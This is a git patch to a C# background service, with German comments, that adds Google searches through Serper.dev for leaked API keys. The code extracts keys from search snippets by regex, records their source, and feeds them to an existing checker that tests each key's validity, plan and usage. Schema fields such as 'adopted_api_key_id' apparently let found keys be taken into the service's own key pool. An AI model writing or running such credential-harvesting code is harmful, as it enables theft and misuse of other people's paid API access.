From 22d966b8307751f651b7a95b65e482610d222b9c Mon Sep 17 00:00:00 2001 From: Meleki Date: Fri, 13 Mar 2026 06:26:43 +0100 Subject: [PATCH] =?UTF-8?q?feat:=20Serper.dev=20Google-Dork-Integration=20?= =?UTF-8?q?f=C3=BCr=20Key-Scanner?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - ScanSerper() durchsucht Google via Serper.dev nach geleakten API-Keys - Exakte Phrase-Suche pro KeyPattern, bis zu 100 Ergebnisse pro Query - Keys aus Snippets und Titles via Regex extrahiert - Source-Feld (github/serper/gist/pastebin) in ScannedKeyRecord + DB-Migration - RunScan() kombiniert GitHub + Serper mit Deduplizierung - Service startet auch wenn nur SerperApiKey konfiguriert ist - Frontend: Source-Icons und verkürzte URLs für Nicht-GitHub-Quellen - Config: SerperApiKey in appsettings.json --- Endpoints/ApiKeysEndpoint.cs | 1 + Models/ScannedKeyRecord.cs | 3 +- Services/DatabaseService.Integrations.cs | 4 +- Services/DatabaseService.cs | 1 + Services/KeyScannerService.cs | 107 ++++++++++++++++++++--- appsettings.json | 1 + wwwroot/js/pages/api-keys-page.js | 6 +- 7 files changed, 108 insertions(+), 15 deletions(-) diff --git a/Endpoints/ApiKeysEndpoint.cs b/Endpoints/ApiKeysEndpoint.cs index ed3c92a..7503b03 100644 --- a/Endpoints/ApiKeysEndpoint.cs +++ b/Endpoints/ApiKeysEndpoint.cs @@ -262,6 +262,7 @@ public static class ApiKeysEndpoint var result = keys.Select(k => new { k.ScannedKeyId, + k.Source, k.SourceUrl, k.Status, k.Plan, diff --git a/Models/ScannedKeyRecord.cs b/Models/ScannedKeyRecord.cs index 45bf29e..9f679b2 100644 --- a/Models/ScannedKeyRecord.cs +++ b/Models/ScannedKeyRecord.cs @@ -5,7 +5,8 @@ public class ScannedKeyRecord public long Id { get; set; } public string ScannedKeyId { get; set; } public string ApiKey { get; set; } - public string SourceUrl { get; set; } // GitHub-URL wo der Key gefunden wurde + public string Source { get; set; } // Herkunft: github, serper, gist, pastebin + public string SourceUrl { get; set; } // URL wo der Key gefunden wurde public string Status { get; set; } // valid, invalid, auth_error, rate_limited, quota_exceeded, error public string Plan { get; set; } // Pro, Max, Pro/Max, API, Unknown public double? Usage7d { get; set; } diff --git a/Services/DatabaseService.Integrations.cs b/Services/DatabaseService.Integrations.cs index 51f9aad..fe4e9dd 100644 --- a/Services/DatabaseService.Integrations.cs +++ b/Services/DatabaseService.Integrations.cs @@ -460,8 +460,8 @@ public partial class DatabaseService { using var conn = CreateConnection(); await conn.ExecuteAsync(@" - INSERT OR IGNORE INTO scanned_keys (scanned_key_id, api_key, source_url, status, plan, usage_7d, usage_5h, scanned_at, checked_at) - VALUES (@ScannedKeyId, @ApiKey, @SourceUrl, @Status, @Plan, @Usage7d, @Usage5h, @ScannedAt, @CheckedAt)", + INSERT OR IGNORE INTO scanned_keys (scanned_key_id, api_key, source, source_url, status, plan, usage_7d, usage_5h, scanned_at, checked_at) + VALUES (@ScannedKeyId, @ApiKey, @Source, @SourceUrl, @Status, @Plan, @Usage7d, @Usage5h, @ScannedAt, @CheckedAt)", record); } diff --git a/Services/DatabaseService.cs b/Services/DatabaseService.cs index ce1baf7..9625033 100644 --- a/Services/DatabaseService.cs +++ b/Services/DatabaseService.cs @@ -329,6 +329,7 @@ public partial class DatabaseService TryAddColumn(conn, "sessions", "image_small", "TEXT"); TryAddColumn(conn, "scanned_keys", "deleted", "INTEGER NOT NULL DEFAULT 0"); TryAddColumn(conn, "scanned_keys", "adopted_api_key_id", "INTEGER"); + TryAddColumn(conn, "scanned_keys", "source", "TEXT"); // api_keys Metadaten-Spalten TryAddColumn(conn, "api_keys", "status", "TEXT"); diff --git a/Services/KeyScannerService.cs b/Services/KeyScannerService.cs index abcf238..db7e4a1 100644 --- a/Services/KeyScannerService.cs +++ b/Services/KeyScannerService.cs @@ -3,6 +3,7 @@ using System.Collections.Generic; using System.Linq; using System.Net.Http; using System.Net.Http.Headers; +using System.Text; using System.Text.Json; using System.Text.RegularExpressions; using System.Threading; @@ -20,6 +21,7 @@ public class KeyScannerService : BackgroundService private readonly IHttpClientFactory _httpFactory; private readonly ILogger _logger; private readonly string _githubToken; + private readonly string _serperApiKey; private readonly int _intervalHours; // Status-Tracking @@ -69,14 +71,18 @@ public class KeyScannerService : BackgroundService _httpFactory = httpFactory; _logger = logger; _githubToken = config["GitHubToken"] ?? ""; + _serperApiKey = config["SerperApiKey"] ?? ""; _intervalHours = config.GetValue("ScanIntervalHours", 0); } protected override async Task ExecuteAsync(CancellationToken stoppingToken) { - if (string.IsNullOrWhiteSpace(_githubToken)) + var hasGitHub = !string.IsNullOrWhiteSpace(_githubToken); + var hasSerper = !string.IsNullOrWhiteSpace(_serperApiKey); + + if (!hasGitHub && !hasSerper) { - _logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken konfiguriert)"); + _logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken/SerperApiKey konfiguriert)"); // Warte trotzdem auf manuelles Trigger-Signal await WaitForTriggerOnly(stoppingToken); return; @@ -141,32 +147,49 @@ public class KeyScannerService : BackgroundService _logger.LogInformation("KeyScannerService: Scan gestartet"); var newKeysFound = 0; var checkedCount = 0; + var totalFound = 0; try { - // Phase 1: GitHub-Suche - var foundKeys = await ScanGitHub(ct); - _logger.LogInformation("GitHub-Scan abgeschlossen: {Count} Key(s) gefunden", foundKeys.Count); + // Phase 1: Alle konfigurierten Quellen scannen + var allFoundKeys = new List<(string Key, string Url, string Source)>(); - // Phase 2: Neue Keys in DB speichern (nur die, die wir noch nicht kennen) - var newEntries = new List<(string Key, string Url)>(); - foreach (var (key, sourceUrl) in foundKeys) + if (!string.IsNullOrWhiteSpace(_githubToken)) { + var ghKeys = await ScanGitHub(ct); + allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github"))); + _logger.LogInformation("GitHub-Scan: {Count} Key(s) gefunden", ghKeys.Count); + } + + if (!string.IsNullOrWhiteSpace(_serperApiKey)) + { + var spKeys = await ScanSerper(ct); + allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper"))); + _logger.LogInformation("Serper-Scan: {Count} Key(s) gefunden", spKeys.Count); + } + + totalFound = allFoundKeys.Count; + + // Phase 2: Neue Keys in DB speichern (dedupliziert) + var seen = new HashSet(StringComparer.Ordinal); + foreach (var (key, sourceUrl, source) in allFoundKeys) + { + if (!seen.Add(key)) continue; if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key)) continue; - newEntries.Add((key, sourceUrl)); + newKeysFound++; await _db.CreateScannedKey(new ScannedKeyRecord { ScannedKeyId = Guid.NewGuid().ToString("N"), ApiKey = key, + Source = source, SourceUrl = sourceUrl, Status = "unchecked", Plan = "Unknown", ScannedAt = DateTime.UtcNow.ToString("o") }); } - newKeysFound = newEntries.Count; _logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound); // Phase 3: Alle unchecked Keys prüfen @@ -183,7 +206,7 @@ public class KeyScannerService : BackgroundService lock (_lock) { _lastRun = DateTime.UtcNow.ToString("o"); - _lastResult = $"{foundKeys.Count} gefunden, {newKeysFound} neu, {checkedCount} geprüft"; + _lastResult = $"{totalFound} gefunden, {newKeysFound} neu, {checkedCount} geprüft"; } _logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult); @@ -370,6 +393,68 @@ public class KeyScannerService : BackgroundService return queries; } + // ── Serper.dev Google Search ── + + /// + /// Durchsucht Google via Serper.dev nach geleakten API-Keys. + /// Jeder KeyPattern-SearchTerm wird als exakte Phrase gesucht. + /// Snippets werden nach dem vollständigen Key-Pattern geparst. + /// + private async Task> ScanSerper(CancellationToken ct) + { + var allKeys = new Dictionary(StringComparer.Ordinal); + var client = _httpFactory.CreateClient(); + client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey); + + foreach (var (pattern, searchTerm) in KeyPatterns) + { + ct.ThrowIfCancellationRequested(); + var regex = new Regex(pattern, RegexOptions.Compiled); + + try + { + // Serper erlaubt bis zu 100 Ergebnisse pro Request (num: 100) + var payload = JsonSerializer.Serialize(new { q = $"\"{searchTerm}\"", num = 100 }); + var request = new HttpRequestMessage(HttpMethod.Post, "https://google.serper.dev/search") + { + Content = new StringContent(payload, Encoding.UTF8, "application/json") + }; + + var resp = await client.SendAsync(request, ct); + resp.EnsureSuccessStatusCode(); + + var json = await resp.Content.ReadAsStringAsync(ct); + var doc = JsonDocument.Parse(json); + + // Organic results durchsuchen + if (doc.RootElement.TryGetProperty("organic", out var organic)) + { + foreach (var item in organic.EnumerateArray()) + { + var link = item.TryGetProperty("link", out var l) ? l.GetString() ?? "" : ""; + var snippet = item.TryGetProperty("snippet", out var s) ? s.GetString() ?? "" : ""; + var title = item.TryGetProperty("title", out var t) ? t.GetString() ?? "" : ""; + + // Keys aus Snippet und Title extrahieren + var text = snippet + " " + title; + var matches = regex.Matches(text); + foreach (Match m in matches) + if (!allKeys.ContainsKey(m.Value)) allKeys[m.Value] = link; + } + } + + _logger.LogInformation("Serper-Suche für '{Term}': {Count} Ergebnis(se)", searchTerm, allKeys.Count); + await Task.Delay(1000, ct); // Rate-Limit schonen + } + catch (Exception ex) + { + _logger.LogWarning("Serper-Suche fehlgeschlagen für '{Term}': {Msg}", searchTerm, ex.Message); + } + } + + return allKeys.Select(kv => (kv.Key, kv.Value)).ToList(); + } + // ── Anthropic Key Check (via shared AnthropicKeyChecker) ── public async Task CheckAndUpdateKey(ScannedKeyRecord sk) diff --git a/appsettings.json b/appsettings.json index 5c4d4a9..c962afa 100755 --- a/appsettings.json +++ b/appsettings.json @@ -17,5 +17,6 @@ "KreaApiKey": "", "GeminiApiKey": "", "GitHubToken": "", + "SerperApiKey": "", "ScanIntervalHours": 0 } diff --git a/wwwroot/js/pages/api-keys-page.js b/wwwroot/js/pages/api-keys-page.js index 3e2812d..024b5d2 100644 --- a/wwwroot/js/pages/api-keys-page.js +++ b/wwwroot/js/pages/api-keys-page.js @@ -351,13 +351,17 @@ registerPage('api-keys', { nameSpan.href = sk.sourceUrl; nameSpan.target = '_blank'; nameSpan.rel = 'noopener'; - nameSpan.textContent = sk.sourceUrl.replace('https://github.com/', ''); + var displayUrl = sk.sourceUrl.replace('https://github.com/', '').replace('https://www.', '').replace('https://', ''); + if (displayUrl.length > 80) displayUrl = displayUrl.substring(0, 77) + '…'; + nameSpan.textContent = displayUrl; info.appendChild(nameSpan); } var metaSpan = document.createElement('span'); metaSpan.className = 'admin-user-meta'; var metaParts = []; + var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin' }; + metaParts.push(sourceIcons[sk.source] || sk.source || 'github'); metaParts.push(formatKeyStatus(sk.status)); if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan); if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString());